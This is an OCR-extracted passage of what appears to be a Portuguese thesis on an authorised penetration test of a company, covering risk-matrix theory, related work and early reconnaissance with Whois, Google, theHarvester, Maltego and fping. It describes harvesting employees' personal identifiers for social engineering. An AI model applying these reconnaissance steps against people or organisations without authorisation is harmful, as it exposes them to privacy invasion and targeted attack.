mundo em todo o ano de 2014, seu foco era ser um SO modesto e pratico, com foto em
hardware antigos e compativeis com o Windows Vista.

Microsoft Windows Server 2008, lancado em 2008, é um SO desenvolvido pela
Microsoft, com codigo fonte fechado, sendo utilizado em computadores empresariais e

servidores, com funcionalidades voltadas ao meio profissional. Foi compilado a partir da
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mesma base de codigo fonte do Windows Vista e com fungdes e recursos mais sofisticados e
acrescentadas em relacdo as versdes do Windows para uso pessoal.

Microsoft Windows 10 foi desenvolvido pela Microsoft foi lancado em 2015, é a
versdo atual do SO de uso para computadores pessoais, também de codigo fonte fechado, sendo
0 sucessor do Windows 8 e 8.1. Em 2018, se tornou o SO desktop mais utilizado no mundo.
Isso se deve as melhorias feitas, estabilidade, inclusdo de novos recursos, vasta compatibilidade
de hardware, seguranca como biometria e pins para verificacdo de identidade.

FireBird SQL é um Sistema Gerenciador de Banco de Dados que surgiu em 1984,
que primeiramente, foi dado o nome de Interbase, desenvolvido por Jim Starkey e Ann
Harrison, a empresa deles foi primeiramente comprada pela Ashton Tate e em seguida
comprada pela Borland. Entre 1991 a 1999 foi mantida e aperfeicoado seu desenvolvimento na
Borland. No ano de 1999, a empresa Borland decidiu compartilhar seu codigo para que 0s
desenvolvedores em todo o mundo pudessem melhorar e trabalhar no seu desenvolvimento,
ficando assim um software de cddigo fonte livre, podendo sua licenga ser utilizada com todas
suas funcionalidades gratuitamente. Ele € divido em duas versdes a Classic e a SuperServer. A
diferenca entre elas é que na SuperServer os recursos sao divididos entre todos os clientes que
estdo conectados, ja& na Classic os clientes possuem uma instancia do banco de dados e
comunicam-se por um gerenciador de transacoes

Server Message Block (SMB) é um recurso presente nos SOs Linux e Windows, tem
a funcionalidade de compartilhamento de recursos através de um protocolo de rede, ou seja 0s
usuarios poderdo compartilhar arquivos entre si na rede utilizando este recurso. Mesmo sendo
antigo, vem habilitado por padrdo nas versdes Windows.

MiKrotik RouterOS € um SO baseado em Linux, utilizado nos equipamentos da
empresa Mikrotik, uma das maiores empresas do mundo focada no desenvolvimento de
roteadores e aparelhos Wireless. O MikrotikOS foi feito especificamente para rodar no
hardware desenvolvido pela empresa e é responsavel por gerenciar 0s recursos do aparelho,
como largura de banda, roteamento, criacdo de pontos de acesso, monitoramento de recursos,

configuracdo de rede, VPN, firewall, entre varios outros.
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2.11 Riscos

“Risco é um evento ou uma condicdo incerta, que se ocorrer, tem um efeito em pelo
menos um objetivo do projeto” (PMBOK, 2008). Diz-se da combinacdo entre a probabilidade
que determinado evento ocorra e 0s impactos por ele gerados caso venha a ocorrer. Outra
forma de se definir risco é que é a soma da probabilidade de ocorréncia com o impacto que
possa oferecer.

Para que um risco possa ser avaliado € necessario que se utilize uma forma de
medi¢do, com o objetivo de medir o nivel e a consequéncia caso um risco se efetue, causando
um impacto geralmente negativo em uma organizacdo. Essa medicdo é necessaria para deixar
evidente quais 0s impactos poderdo aparecer e prevenir que a empresa sofra danos financeiros,
morais e éticos, tratando-os assim que identificados a Figura 2.7 demonstra quais sdo 0s

componentes do risco.

Figura 2.7 — Componentes de Risco
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Fonte: http://www.cqu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-

governamental/arquivos/22 11-tcu.pdf

Segundo a norma ABNT NBR ISO 31000:2009 utiliza as seguintes etapas para analise

dos riscos em uma organizagao:
¢ Identificacdo dos riscos - esta etapa especifica que a organizacao deve levantar e
identificar todas as fontes de riscos, as areas que serdo impactadas e os eventos,


http://www.cgu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-governamental/arquivos/22_11-tcu.pdf
http://www.cgu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-governamental/arquivos/22_11-tcu.pdf
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também levantando as suas causas e impactos. Esta etapa tem como resultado uma
lista de riscos baseada em fontes que possam oferecer um risco evidente ou néo, e
também que todos os cenérios sejam avaliados, possibilitando identificar mais
precisamente estes riscos. E importante que a organizacdo utilize técnicas e
ferramentas para deteccao;

Andlise de riscos - nesta etapa é onde se realiza a analise dos riscos identificados
anteriormente. O principal objetivo desta fase é compreendé-los, analisa-los e
definir estratégias para o melhor tratamento, de acordo com seus niveis. Também é
analisada as causas e fontes, consequéncias positivas e negativas e a probabilidade
de acontecer. Para que seja determinado o nivel do risco é necessario avaliar a sua
probabilidade e consequéncia. O nivel do risco deve ser consolidado para que 0s
responsaveis pela tomada de decisdo possam utilizar uma estratégia eficaz a fim de
corrigi-lo, também analisando as condi¢fes prévias e premissas. A analise pode ser
efetuada com varios niveis de detalhe dependendo apenas do risco, das informacdes
sobre ele e os recursos que estardo disponiveis. Esta analise pode ser dividida em
quantitativa, qualitativa ou ambas combinadas. Suas consequéncias e
probabilidades possuem uma dependéncia pela modelagem dos eventos, estudos
experimentais ou dados que estejam disponiveis. Podem ser definidas por impactos
tangiveis ou intangiveis, podendo ser necessario em algum caso a utilizacdo de
dados numéricos ou um detalnamento para especificar suas probabilidades e
consequéncias.

Avaliacdo dos riscos - esta etapa tem a 0 objetivo de auxiliar as tomadas de
decisdes, de acordo com os resultados obtidos durante a fase anterior, definindo
quais precisam ser tratados de acordo com sua prioridade para iniciagdo do
respectivo tratamento. Leva-se em consideracdo o nivel do risco comparando-o
com os demais, sendo assim, 0s niveis com maiores riscos serdo tratados com
maior prioridade. As vezes, pode-se ser analisado com maior cautela, podendo
mudar sua decisdo, que pode ser mudada com a atitude do risco da organizacéo e
pelo critério estabelecido.

Tratamento dos riscos - geralmente 0s riscos que tem 0s niveis mais altos serdo
tratados com maior prioridade e urgéncia. Existem riscos que sdo mais faceis,
rapidos e mais baratos de serem tratados, quem vai decidir qual € o melhor caminho
é a equipe de geréncia. Esta € a fase onde sdo implementadas as a¢des programadas

na etapa anterior, para tratar os riscos, elas podem ser tanto exclusivas ou
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adequadas a cada um e as suas circunstancias. Segundo Stallings e Brown (2014),

hé& cinco etapas para a geréncia tratar os riscos que foram identificados. Sao elas:

0]

Aceitacao do risco - a equipe deve aceitar o risco de acordo com seu potencial,
de acordo com a politica de negdcios da organizacdo, devido ao custo e ao
tempo dedicado a tratar a situacdo. A geréncia deve aceitar o risco caso ele
venha a ser concretizado;

Evitar o risco - ndo deixar que a fonte do risco exerca a atividade que crie 0
risco propriamente dito. As vezes pode-se sacrificar alguma funcionalidade da
organizagdo com o objetivo de eliminar ou diminuir este risco.

Transferéncia de risco - transferir a responsabilidade do risco, podendo utilizar
0 servico de terceiros com o objetivo de neutraliza-lo caso o risco se concretize.
Reduzir Consequéncia - implementar ou utilizar recursos que diminuam um
impacto sobre 0s bens da organizagdo caso 0 risco acabe ocorrendo. Um
exemplo disso seria a utilizacdo de vérios discos de backup com o objetivo de
replicar a sua base de dados, ou servi¢o de backup em nuvem; e

Reduzir Probabilidade - utilizar recursos que diminuam a probabilidade de
uma vulnerabilidade seja explorada. Por exemplo, utilizar mecanismos extra de
protecdo como Firewall ou IDS/IPS entre outros, dificultando a probabilidade de

que um invasor possa passar por essa seguranca.

Quaisquer que sejam as escolhas, a geréncia responsavel pela seguranca da

organizacdo deve levar em consideracdo a combinacéo do nivel do risco e o valor

do custo do tratamento para que possa ser avaliado pela organizacao.

Matriz de Riscos - a matriz de riscos € responsavel por utilizar um plano

cartesiano em que os impactos (Quadro 2.1) e as probabilidades (Quadro 2.2) se

cruzam assim criando, um mapa escalonado e demonstrando o risco de um

determinado evento.
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Quadro 2.1 - Escala de Impacto

Magnitude

Descrigéo P

Muito Baixo

Baixo

Médio

Alto

Muito Alto

Geralmente o resultado de uma brecha de seguranca menor e em uma Gnica area. E 1
provavel que o impacto dure menos do que alguns dias e que sua retificacao exija

apenas dispéndio insignificante. Em geral, ndo resulta em qualquer prejuizo tangivel

para a organizacéo.

Resulta de uma brecha de seguranga em uma ou duas reas. O impacto provavelmente 2
durara menos de uma semana, mas pode ser tratado no nivel de segmento ou de

projeto, sem intervencéo da geréncia. Em geral, pode ser retificada usando apenas os

recursos de projeto ou de equipe. Novamente, isso nao resulta em qualquer prejuizo

tangivel para a organizacdo, mas pode, em retrospecto, mostrar oportunidades perdidas

ou falta de eficiéncia anteriores.

Brechas de seguranga sistémicas limitadas (e possivelmente continuadas). O impacto 5
provavelmente durara até duas semanas e, em geral, exigira a intervencdo da geréncia,
embora ainda seja possivel trata-lo no nivel de projeto ou de equipe. Isso exigira alguns
custos de investimento em conformidade para que o impacto seja superado. Clientes ou

0 publico podem ter conhecimento indireto ou informacdes limitadas sobre esse

evento.

Grande brecha de seguranca sistémica. O impacto durara trés meses ou mais, € a 8
geréncia sénior tera de intervir durante todo o evento para superar deficiéncias. Espera-

se que 0s custos para obter conformidade sejam muito substanciais. Esperam-se perda

de negdcios com clientes ou outros danos significativos para a organizacao.

Provavelmente havera debate publico ou politico sobre a organizagdo e também perda

de confianga na organizacdo. Possivelmente havera acdes criminais ou disciplinares

contra o pessoal envolvido.

Varias instancias de grandes brechas de seguranca sistémicas. A duracdo do impacto 10
ndo pode ser determinada, a geréncia sénior sera interditada e a empresa tera de se

submeter a administracdo externa ou a outra forma de reestruturagdo ampla. Esperam-

se acdes criminais contra a geréncia sénior, e a perda substancial de negécios e o

fracasso no cumprimento dos objetivos organizacionais serdo inevitaveis. Os custos

para obter conformidade provavelmente resultardo em perdas anuais durante alguns

anos, com a possivel liquidacdo da empresa.

Fonte: Adaptado de Seguranca de Computadores, 2 Ed., 2010, Tabela 14.3

Quadro 2.2- Escala de Probabilidades: Exemplo Qualitativo

Magnitude

Descricao P

Muito Baixa

Baixa

Média

Alta

Muito alta

Evento Improvéavel de ocorrer. Excepcionalmente podera até ocorrer, porém ndo ha 1
elementos ou informagdes que indiquem essa possibilidade

Evento Raro de ocorrer. O evento podera ocorrer de forma inesperada, havendo 2
poucos elementos ou informacdes que indicam essa possibilidade.

Evento possivel de ocorrer. Ha elementos e ou informagdes que indicam 5
moderadamente essa possibilidade.

Evento provavel de ocorrer. E esperado que o evento ocorra, pois 0s elementos e as 8
informagdes disponiveis indicam de forma consistente essa possibilidade.

Evento praticamente certo de ocorrer. Inequivocamente 0 evento ocorrera, pois 0s 10
elementos e informagdes disponiveis indicam claramente essa possibilidade.

Fonte: http://www.cgu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-
auditoria-interna-governamental/arquivos/22_11-tcu.pdf
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As pontuacdes dos riscos e das probabilidades sdo distribuidas na Matriz de Riscos, de
acordo com seus eixos, analisando os cruzamentos, assim gerando a classificagdo dos mesmos

(Figura 2.8). Assim, facilitando visualmente quais devem ter maior prioridade e urgéncia para
correcdo pela equipe responsavel.

Figura 2.8 — Modelo Representativo Matriz Impacto x Probabilidade

Legenda Nivel de Risco Probabilidade
Extremo
— 1 2 5 8 10
. Muito Baixa Baixa Meédia Alta Muito Alta
Baixo
10

Muito Alto 10 20 90

16 40

Médio 10 medio 20

2
Baixo

1
Muito Baixo

Impacto
on

20

10

Fonte: http://www.cqu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-
governamental/arquivos/22 11-tcu.pdf

A classificacdo de riscos como mostra 0 Quadro 2.3, divide-0s nas seguintes

categorias: baixo, médio alto e extremo, tais categorias definem a prioridade de que a

organizacgéo deve levar em consideragdo para neutralizar ou eliminar uma ameaca ativa.

Quadro 2.3 - Classificacdo dos riscos

Classificacao dos Riscos

Exiremo A(;c”)e’:s devem ser _ianIementada_s imedi_ata_mente, também ¢é exigido monitoramento
continuo com revisdes sendo feitas periodicamente.
E necessaria atengéo pela geréncia sénior, podendo ficar critério da equipe dos lideres do

Ato projeto para solucdo do risco. Monitoramento periddicos e continuos podem ser eficientes,
mas é provavel que os controle de seguranca existentes poderdo dar conta da ameaca
Responsabilidade pela gestdo do risco deve ser especificada, podendo haver
monitoramento e revisdes, caso seja necessario, 0s procedimentos existentes poderdo dar
conta da situacdo, ndo havendo necessidade de utilizar novos.

Baixo Gerenciamento por procedimentos de rotina.

Fonte: Adaptado de Seguranga de Computadores, Tabela 14.4.


http://www.cgu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-governamental/arquivos/22_11-tcu.pdf
http://www.cgu.gov.br/sobre/institucional/eventos/anos-anteriores/2016/ii-seminario-de-auditoria-interna-governamental/arquivos/22_11-tcu.pdf
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3 Trabalhos Relacionados

Na pesquisa intitulada “Auditoria de Seguranca utilizando Teste de Invasdo de Redes
em Ambientes de Tecnologia da Informacdo” (OLIVEIRA, 2015), aplicou-se um estudo de
caso em um ambiente de simulacdo de uma pequena empresa. Como justificativa, um ataque
realizado com sucesso podera trazer prejuizos financeiros muito maiores do que se o gasto for
feito em um servico de Pentest. Essa empresa ficticia sofreu um ataque em um dos seus
servidores locais, comprometendo a rede interna e deixando o sistema Web indisponivel por
algum tempo. Entdo, é proposto que a empresa realize um Pentest como meio de prevenir
novos ataques parecidos. A empresa terceiriza uma empresa com 0 objetivo de realizar um
Pentest.

O autor realiza alguns testes para mostrar que o ambiente proposto é vulneravel,
porém especifica qual metodologia foi utilizada. Também ndo especifica os detalhes dos
ambientes propostos para simular as vulnerabilidades. No fim, apresentou um relatorio,
descrevendo os testes efetuados, mas em compensacao foram poucos testes de ataques externos
e internos. O autor também discorre acerca de quais os ataques que foram descobertas as
falhas, mas ndo e detalhado de como foram realizados os testes. Como tambeém, descreve a
medicdo do risco de cada falha e os meios de correcdo. Se houve o comprometimento do
sistema (pds exploracdo) também ndo foi informado no relatorio final.

Na pesquisa intitulada “Teste de Invasdo com uso de Software Livre e Ferramentas
Open Source em Redes Corporativas” de Roth (2011), prop6s-se a utilizacdo de ferramentas
de codigo livre, com o objetivo de realizar testes de invasdo em redes corporativas. E detalhado
cada processo do teste de invasdo, mas ndo se define qual metodologia utilizada, bem como,
apresenta os comandos que sdo utilizados pelas ferramentas, ensinando como funciona o
ataque. Os ataques que sdo utilizados séo alguns internos e externos. A pesquisa demonstra
algumas maneiras de se evitar algumas falhas corporativas.

Nesse caso, 0 autor utilizou ferramentas de cdédigo fonte aberto, porém sdo poucas as
utilizadas, néo abrangendo todos os ambientes propostos e néo especifica qual metodologia foi
utilizada para exemplificar os testes. Nao apresenta um Pentest em algum ambiente, seja real
ou simulado para provar que o software cumpre o que é proposto, e nao existe um relatério do
Pentest para validacao do resultado obtido.

No trabalho “Andlise de Vulnerabilidades e Ameacas presentes em Redes Wi-Fi
(IEEE 802.11) de Instituicbes de Ensino Superior de Minas Gerais”, Figueiredo (2016) se

refere a analise de vulnerabilidades em ambientes de ensino superior no estado de Minas
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Gerais. Assim, o estudo prop0s testes de invasdo em redes Wireless em algumas universidades,
como justificativa de que essas redes estdo cada vez mais comuns e em expansdo em todo
lugar. Com o objetivo de discutir as vulnerabilidades presentes na arquitetura Wireless, realizar
os testes de invasdo em grandes universidades federais de Minas Gerais e em seguida
confrontar os resultados com as literaturas académicas responsaveis pela pesquisa, sua
metodologia de Pentest foi baseada nas metodologias OSSTMM e ISSAF. Os resultados
demonstraram que as universidades testadas tiveram algum tipo de vulnerabilidade em seus
ambientes de rede sem fio.

Entretanto, o autor ndo realizou o processo de exploracdo e pds-exploracdo nesses
ambientes, ndo podendo confirmar se tais vulnerabilidades poderiam ser exploradas por black
hats. O relatério é pouco detalhado e apenas informa quais os tipos de vulnerabilidades foram
encontradas em cada instituicdo, o tipo e sobre o teste, ndo mostrando os comandos executados

nos testes.

3.1 Trabalho Proposto

O trabalho proposto apresenta um Pentest realizado em uma empresa real,
demostrando ataques internos e externos em redes sem fio, ilustrando como um invasor que
poderia ter acesso fisico ao local tanto como um black hat, e também acesso ao sinal wireless
desta empresa, podendo comprometer todo esses ambientes de rede, em posse de arquivos
sensiveis e importantes para a mesma. Diferentemente dos trabalhos anteriores, este teve como
propdsito realizar um Pentest completo, onde também serdo informados no relatério todos os
testes utilizados. Utilizou a metodologia PTES, sendo uma das mais utilizadas em Pentest, a
qual pode ser adaptada de acordo com o a necessidade do contratante e seus ambientes.

O tipo do Pentest foi o graybox, sendo bem mais detalhado e os testes mais
especificos. Todos os testes feitos, juntamente com os tipos de ataques e as ferramentas
utilizadas, séo detalhados e documentados em um relatorio final, com o objetivo de validar o
teste e propor as corre¢cBes necessarias para as vulnerabilidades encontradas, demonstrando
assim a eficacia do Pentest na seguranca da informacéo da empresa verificada.

O Quadro 3.1 apresenta um comparativo entre os trabalhos citados e o proposto



Quadro 3.1 — Analise dos Trabalhos
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Ambiente Ambiente

Metodologia Ambiente Relatorio Relatério
Trabalho Pentest de Rede Rede Real Final Detalhado
Interna Wireless
Oliveira, 2015 Né&o Sim Néo N&o SIM Parcialmente
Roth (2011) Néao Sim Né&o Né&o Né&o Né&o
Figueiredo (2016) oot ¢ N0 sim sim sim Nio
Trabalho Proposto PTES Sim Sim Sim Sim Sim

Fonte: Elaborado pelo autor
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4 Materiais e Métodos

A metodologia utilizada no Pentest foi PTES que abrange todos os ambientes
necessarios para sua realizacdo e 0s passos da execucdo se adaptar a cada situagdo. Existem
alguns tipos de metodologias, sendo que cada uma é utilizada em um tipo de escopo com o
objetivo de definir testes corretos em cada ocasido. A que mais se adaptou ao escopo do cliente
(Empresa de médio porte) a ser utilizado foi a PTES, entdo o teste sera realizado em um
ambiente real, delimitando o ambiente de ataque para que ndo possa comprometer o
funcionamento da empresa.

Para a execucdo do Pentest € necessario um computador de bom desempenho, como,
por exemplo, dotado de hardware com processador core i7-7500U e 8GB RAM; e software
como SO Kali Linux, baseado em Debian, por possuir inimeras ferramentas pré-instaladas para
realizacdo de testes de invaséo.

A principio, foi realizado um didlogo com o responsavel pela Empresa sobre a
provavel realizacdo do Pentest, colocando 0s pontos positivos e negativos e beneficios que ele
traria. A Unica objecdo estava relacionada a possiveis interrupces dos servigos enquanto 0s
testes seriam realizados, ficando firmado que seriam realizados apenas apOs o horario
comercial, prevenindo que caso ocorresse alguma falha que interrompesse 0s sistemas, a
empresa ndo pararia de funcionar em seu horario comercial, podendo provocar prejuizo aos
seus clientes. Esse dialogo foi formalizado por um Acordo de Cooperacdo Técnica (Apéndice
A).

Como o Pentest foi definido como graybox, foram fornecidos dados sobre a Empresa,
quais equipamentos utilizados e quantidade. Outros dados repassados foram: telefones, nomes
de funcionarios, e-mails da empresa e site. Sendo complementados por utilizacdo de técnicas
de levantamento de informagdes. Apenas alguns funcionérios ndo sabiam da execugdo dos
testes, garantindo uma aproximacdo mais fiel de um ataque real. Os resultados obtidos na
execucdo dos processos dos testes, foram documentados gerando um laudo resumido com todas
as informac0es sobre as vulnerabilidades encontradas e contramedidas (Apéndice B) e entregue

a Empresa que se prontificou em atender as recomendag6es fornecidas.
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4.1 Levantamento de Informacdes

Considerada a fase essencial para o sucesso dos testes, quanto maior o nimero de
informagdes levantadas, maior a chance de sucesso, esses dados foram utilizados juntamente
com as ferramentas, para efetuar tentativas de intrusdo bem-sucedidas e conhecimento sobre o

funcionamento da Empresa.

4.1.1 Varreduras Passivas

Para a varredura passiva foram utilizadas as ferramentas Whois!4, Google?®,

Theharvester'® e Maltego!’. Nas proximas se¢des apresentam-se os resultados obtidos.

41.1.1 Resultados Whois

A Figura 4.1 ilustra a resposta da ferramenta para a Empresa alvo. Verificam-se os
dados do responsavel pelo site, da empresa e e-mail, bem como do servi¢o do dominio achado
na Internet. Ha dados distintos do primeiro dominio fornecido pela Empresa, como e-mail e

nome. Por gquestdes de confidencialidade dados da Empresa foram suprimidos das imagens.

4.1.1.2 Resultados do Buscador Google

Utilizando uma consulta simples com o0 nome da empresa em aspas duplas, o buscador
Google realizou a varredura da palavra completa (sem buscar partes das palavras individuais),
com o objetivo de trazer referencias, evitando fontes ndo referentes, em toda a Internet. Na
Figura 4.2 apresentam-se os resultados do buscador, é possivel obter dados da Empresa, como
um possivel dominio, endereco, foto de localizagdo, localizacéo, telefones fixos de filiais e uma

area de login e senha para acesso ao sistema.

14 https://whois.icann.org/pt

15 https://www.google.com/

16 https://github.com/laramies/theHarvester

7 https://www. paterva.com/web7/buy/maltego-clients/maltego-ce.php
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Para os proximos resultados, os termos foram oriundos de resultados fornecidos pela

ferramenta Whois (Figura 4.1).

Figura 4.1 — Retorno da consulta na ferramenta Whois: (a) dados dos responsaveis da empresa e (b) dados
do segundo dominio
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Fonte: Adaptada dos resultados de Whois
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Figura 4.2 — Levantamento de informagdes usando o buscador Google: (a) resultados geral da busca, (b)
acesso ao site da empresa, filtrado pelo buscador e (c) dados de telefones, enderecos e ramo da

empresa em seu site sugerido pelo buscador
[ ot -l - Qfwosa ___wos [ s vdb_|
~m——— Fa30itsa G200l = Motiia Firefox ceo
a4+ e =

& “m——P_ % |
€ D@ tepe v gloge tomses el WBUYN DS L
BMostVisreav | R Oferaive Securty S Kal s %, Kall Docs W Rali Tooks . Explon-D8. Wy Akcrack-ng TUKa Forums " NetHurter @ Getting Started @ Primeircs passos i Mot Viitedw

Coogle = = [

- Controde § "
.
Tesefones e CNPJ - CNPLinfo
i s
== = memiw w
| Teletone: | =mn
Wetwie  Comiwpw  Se
| Lirkedin Endernio:
i Telofone:
' Sugprs 1 ek - PG dea wrpne

comitompary
Adicionar informaghies ausentes

(@)

o -]

Controle de Atividades - Mozilla Firefox

= -Co. % |+
€ QLB v index.aspé B e B8 4 & O
f5]Most Visited~ | JlfOHensive Security ", Kali Linux “ Kali Docs " Kali Teols s, Exploit-D8 W Aircrack-ng flfKall Forums \ NetHunter @ Getting Started @ Primeiros passos B]Most Visited v

Empresa

Restrita

Acessar
Sistema

Esqueci a serha

(b)

eo0

Acontes Conkibil - Cortrols de Mtividades - Hasils Firefos
a8 & &# 9 =

AR S

& | —
B Most Vmitedw | [HiCHenve Seourity " Kab Linux %, Kali Docs ", Kol Tocés. = Expton-DE Wy Abcrack-ng TURak Forums % Nethunter @ Setiing Staried 3 Primciros passos 2 Mast Visked'
u (n - =

. ﬂ = ﬂ:-

(©)

Fonte: Adaptada de Google.com



58

A Figura 4.3 ilustra o resultado da busca ao site Google.com, passando os dados do
nome da empresa e 0 nome do funcionario responsavel pelo dominio, o primeiro resultado é

um documento de um contrato com um cliente da empresa.

Figura 4.3 — Busca ao Google passando os dados: nome da empresa e do funcionario

= Q
Todas Videos Naticias Maps Imagens Mais Configuragdes Ferramentas
1 resultado (0,23 segundos
PoAL
D... ™
< f@gmail.com>. PROBLEMA ... Prezado(a)
25/08/2014 10:08 - Ltda escreveu

Fonte: Adaptada de Google.com

A Figura 4.4 mostra dados de e-mail contidos em um documento obtido através de
uma consulta no buscador do Google, enquanto a Figura 4.5 ilustra dados como telefones e

endereco da empresa de filiais de outras cidades.

Figura 4.4 — Acesso a um documento obtido pela consulta no Google
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Fonte: Google.com

Também no documento séo encontrados dados dos celulares da empresa, tanto na sede
como das filiais. O resultado ¢é apresentado na Figura 4.6. Foi necessario utilizar o recurso em
cache (Figura 4.7), uma vez que o Google armazena dados antigos de paginas, mesmo que o

site atualize, ainda se poder recuperar dados antigos.
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Figura 4.5 — Dados de telefones e enderecos de filiais e sede da empresa
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Fonte: Adaptada de Google.com

Figura 4.6 — Busca do nome do funcionario concatenado com o CPF
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Fonte: Adaptada de Google.com

Na Figura 4.7a observa-se 0 contrato entre contratante e contratado, e a Figura 4.7b

ilustra dados pessoais, nome completo, endereco, RG e CPF, por exemplo.
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Figura 4.7 — Dados de contratos encontrados em Google: (a) em cache e (b) dados pessoais
presentes no contrato
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Fonte: Adaptada de Google.com

4.1.1.3 Resultados da Ferramenta TheHarvester

A Figura 4.8 ilustra a busca realizada em um dominio da empresa com o tamanho
maximo de resultado igual a 100 e por ultimo qual seria o servi¢o de busca que seria utilizado,
o escolhido foi 0 Google. O comando utilizado foi “theharvester —d dominio.com.br —I 100 —b

google”. A Figura 4.9 ilustra que ndo houveram dados encontrados.
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Figura 4.8 — Ferramenta TheHarvester, executando uma busca de e-mails relacionados ao dominio
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Fonte: Adaptada dos resultados de TheHarvester

Figura 4.9 — Retorno do comando da ferramenta TheHarvester
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Fonte: Adaptada dos resultados de TheHarvester
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4.1.1.4 Resultados da Ferramenta Maltego

Primeiramente, adicionou-se um elemento de dominio, visando realizar a busca sobre
0 dominio da Empresa. A Figura 4.10 ilustra os resultados de um possivel dns que

provavelmente possui alguma relacdo com o dominio, as setas definem uma relagdo entre eles.

Figura 4.10 - Interface da ferramenta Maltego em busca por dominio
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Fonte: Adaptada de Maltego

Na Figura 4.11 ilustra a solicitacdo da ferramenta quanto & busca para a rede social

Twitter.

Figura 4.11 — O software solicita uma conta de rede social para aprofundar as buscas

-

Sign in required

The following transformis) require vou to sign in to Twitter OAu. ..
To Twitter Affiliation [Strict]
To Twitter Affiliation [Search Twitter]

Do vou want to open the Service Manager to sign in?

Fonte: Maltego

A Figura 4.12a ilustra dados de dominios e pessoas que possam estar ligadas ao

dominio principal. Ja Figura 4.12b ilustra o retorno da busca de e-mails, localizagdo e pessoas
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relacionadas ao dominio, enquanto na Figura 4.12c tém-se os resultados de redes sociais com

relacdo aos nomes de pessoas que estdo provavelmente relacionadas ao dominio da Empresa.

Figura 4.12 — Resultados de busca na ferramenta Maltego: (a) retorno de dados possivelmente relacionados
ao dominio, (b) dados de possiveis dominios correlacionados e e-mails e (c) redes sociais de pessoas
relacionadas ao dominio
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Figura 4.12 (continuag&o)
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- Incoming

ofile

F'1 Hub Transform in

— Dynamic properties

Fonte: Adaptada da ferramenta Maltego

A Figura 4.13 ilustra a etapa de verificacdo do segundo dominio, descoberto na anélise
de buscas do Google. Nesta etapa, observam-se os dados relacionados ao responsavel pelo
dominio, tanto como o IP do servidor que o dominio esta hospedado, e-mail, localizacéo,

paginas ligadas a este dominio.

Figura 4.13 — Resultado de dados relacionados ao segundo dominio

Maltego Community Edition 4.1.0

@yahoo.com.br

2

dnsl.hotlink.com.bd

£ Transforms

ppa.hotlink.com.br dns2 hotlink.com.br

Fonte: Adaptada da ferramenta Maltego
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A Figura 4.14 ilustra um Website retornado pela anélise, esta relacionado ao painel
administrativo da Empresa. Destacasse que esse seria passivel de um futuro vetor para ataques,

caso no Pentest fosse definido o tipo Web.

Figura 4.14 — Painel administrativo do site retornado pela analise do Maltego

Aplicativos « Locais v @ Firefox ESR wooF ) @~
Horde :: Log in - Mozilla Firefox [N -}

x | Kt Horde :: Log in x|\ +
@ & | webmail zom.br/login.php Search wBa & & O =

[i5) Most Visitedw ensive Securi ali Linux ali Docs ali Tools fe. Exploit- ircrack-ni ali Forums etHunter etting Started & Primeiros passos [5 Most Visitedwv
f& Most Visited [ Off: S %, Kali Li %, Kali D %, Kali Tool Exploit-DB Wy Al k-ng g Kali F %, NetH G g S d &P o} [& Most Visited

Username
Password

Mode
Automatic J

Language
English (American) j

Fkhorde

Fonte: Adaptada dos resultados de Maltego
Figura 4.15 — Cddigo fonte da pagina do painel administrativo
(D | view-source:http://webmail. zom.br/login.php Search Ww A +§ &# O =

[5 Most Visited v Offensive Security % Kali Linux " Kali Docs % Kali Tools ‘. Exploit-DB Aircrack-ng g Kali Forums “ NetHunter Getting Started @ Primeiros passos [&5] Most Visited v
I P k] 9 B

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.© Transitional//EN" "DTD/xhtmll-transitional.dtd">

<body class="modal-form">
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nethod="post" action="hitp://webmail. .com.br/login.php">
value="" />

post" value="0" />
/>

id="anchor string" value="" />

<input 1
</div>
<div><label fol
<div>
<input 1
</div>
=div id="horde
<div><label f¢
<div>
<select id="|
<option vali
<option vali
<option vali
<option vali
<option vali
<option vali
<option vali
</select> -

Fonte: Adaptada de Mozilla Firefox

A partir do painel administrativo presente Website (Figura 4.14), verificou-se o codigo-

fonte com o auxilio no navegador Mozilla Firefox, ilustrado na Figura 4.15. Observam-se, por
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exemplo, dados em partes comentadas, mas sem nenhum dado relevante encontrado.
Entretanto, caso o Pentest fosse Web, poderia injetar codigos com objetivo de verificar falhas
na fase de analise de vulnerabilidades.

A fase inicial de varredura passiva teve o objetivo de verificar dados fornecidos pela a
Empresa e demonstrar que com pesquisas simples e buscas em software especializados na Web,
pode-se obter dados sensiveis sobre a Empresa e de seus funcionarios, possibilitando varios
vetores de ataques, principalmente relacionados a Engenharia Social e criacdo de Wordlists
especificas para quebra de senhas utilizando forga bruta. Nesse sentido, foram coletados dados
referentes a enderego da organizacdo, telefones fixos e celulares, e-mail, localizagdo, pessoas
ligadas & organizacdo, funcionérios, CPF, RG, dominio ligado a empresa, endereco de

funcionario e redes sociais de funcionarios.

4.1.2 VVarreduras Ativas

A fase de varredura ativa comeca dentro do ambiente da organizacdo. Para o Pentest
executado, a Empresa apenas forneceu um cabo de rede com Internet, repassado a quantidade
de dispositivos operando na rede da organizacdo através de uma varredura para identificar os
dispositivos ligados a rede.

Para a varredura ativa foram utilizados as funcionalidades nmap*®, fping®® e grep? do
Kali Linux 2108.3. A seguir, apresentam-se os resultados obtidos.

A Figura 4.16, ilustra o primeiro passo relacionado a verificacdo de qual IP da
maquina e qual classe o endereco pertence, através do comando ifconfig, facilitando uma
varredura na rede atras de maquinas ativas. O enderego fornecido foi o 192.168.0.10,
pertencendo a classe C.

Utilizando o comando fping (Figura 4.17), verificaram-se 0s hosts ativos na rede.
Realizou-se uma busca em todos os IPs com o final de 0 a 255. Vale ressaltar que existem
politicas de seguranca implementadas em dispositivos para ndo responder a esse comando,

consequentemente, dificultando ao atacante encontrar maquinas ativas na rede.

18 https://nmap.org/
19 https://fping.org/
20 nttps://www.linux.org/docs/manl/grep.html
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Figura 4.16 — Verificagdo de range de IP pertencente a rede por ifconfig

root@YagoKali: ~ (- -]
Arquivo Editar Ver Pesquisar Terminal Ajuda
~# ifconfig

(351.7 KiB)
s ® frame @
4 KiB)
6 carrier @ collisions @

x10<host>
cal)

0 frame ©
